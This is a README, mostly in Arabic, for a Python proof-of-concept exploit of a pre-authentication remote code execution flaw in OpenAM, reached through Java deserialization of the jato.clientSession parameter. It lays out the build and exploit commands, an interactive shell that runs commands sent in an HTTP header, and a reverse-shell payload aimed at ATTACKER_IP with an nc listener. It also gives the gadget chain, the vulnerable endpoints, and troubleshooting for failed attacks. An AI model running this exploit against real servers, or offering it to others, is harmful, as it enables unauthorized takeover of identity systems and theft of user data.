
Python PoC يستغل CVE-2026-33439، وهو RCE قبل المصادقة في OpenAM عبر إلغاء تسلسل Java لمعامل jato.clientSession، مع أوضاع shell تفاعلية وعميقة.
تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في OpenIdentityPlatform OpenAM <= 16.0.5 عبر إلغاء تسلسل Java غير الآمن للمعامل jato.clientSession (CVSS 9.8).
لاختبارات الأمان المصرّح بها فقط.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — يجب أن يتطابق مع إصدار JVM الخاص بالخادم الهدف؛ JDK 25 ينتج كائنات مُسلسلة غير متوافقة)يقرأ EvilTranslet ترويسة cmd من الطلب، وينفذها، ويكتب stdout مباشرة إلى استجابة HTTP. لا حاجة إلى مستمع.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
يتم تضمين الأمر داخل bytecode الخاص بـ EvilTranslet. لا يتم إرجاع أي إخراج؛ استخدم مستمعًا (nc، إلخ) لالتقاط الاستدعاءات.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| الخيار | الوصف |
|---|---|
| (بدون خيارات) | بناء payload تفاعلي (يقرأ ترويسة cmd في وقت التشغيل) |
--command "CMD" | بناء payload أعمى مع تضمين CMD داخل bytecode |
--jars DIR | استخدام دليل JARs محلي بدلاً من التنزيل (افتراضي: ./libs) |
--download-only | تنزيل JARs فقط، دون ترجمة |
exploit.py| الخيار | الوصف |
|---|---|
--url URL | عنوان URL الهدف (مطلوب) — نقطة نهاية كاملة أو عنوان URL أساسي مع --probe/--all |
--shell | pseudo-shell تفاعلي (الوضع التفاعلي) |
--probe | الكشف التلقائي عن نقطة النهاية القابلة للاستغلال من عنوان URL الأساسي |
--all | إرسال payload إلى جميع نقاط نهاية JATO (الوضع الأعمى) |
--method GET|POST | طريقة إرسال HTTP (افتراضي: GET) |
--proxy URL | وكيل HTTP (مثل http://127.0.0.1:8080 لـ Burp) |
--timeout SECS | مهلة الطلب (افتراضي: 15) |
--verify-tls | تمكين التحقق من شهادة TLS |
--debug | إظهار تفاصيل الطلب/الاستجابة |
جميع الشيفرة المصدرية موجودة في المستودع — لا توجد كتل غامضة. تم تضمين مصادر Java في build.py كثوابت نصية قابلة للقراءة. بعد البناء، تحقق من الإخراج:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — الحصول على طلب/استجابة HTTP عبر classloader الخاص بتطبيق الويبrequest.getHeader("cmd") — قراءة الأمرnew ProcessBuilder("/bin/sh", "-c", cmd) — التنفيذresponse.reset() — مسح أي إخراج JSP سابقtext/plain، ثم إغلاق تدفق الإخراجRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — أطلق وانسَأي نقطة نهاية JATO ViewBean تعرض وسوم <jato:form>، يمكن الوصول إليها قبل المصادقة:
| نقطة النهاية | ملاحظات |
|---|---|
/openam/ui/PWResetUserValidation | إعادة تعيين كلمة المرور (الأكثر موثوقية) |
/openam/ui/PWResetQuestion | أسئلة الأمان لإعادة تعيين كلمة المرور |
/openam/ui/Login | صفحة تسجيل الدخول |
| العَرَض | السبب | الحل |
|---|---|---|
| إرجاع صفحة HTML بدلاً من إخراج الأمر | JSP يستبدل الاستجابة | استخدم --shell مع payload تفاعلي؛ أو انتقل إلى الوضع الأعمى |
| إلغاء التسلسل لا يتم تفعيله | عدم تطابق إصدار JDK | أعد البناء باستخدام JDK 21: export JAVA_HOME=/path/to/jdk-21 |
| مهلة مصافحة TLS | الخادم يتطلب اسم مضيف SNI | أضف الهدف إلى /etc/hosts واستخدم اسم المضيف، وليس IP |
javac غير موجود | JDK غير مثبت | apt install openjdk-21-jdk |
MIT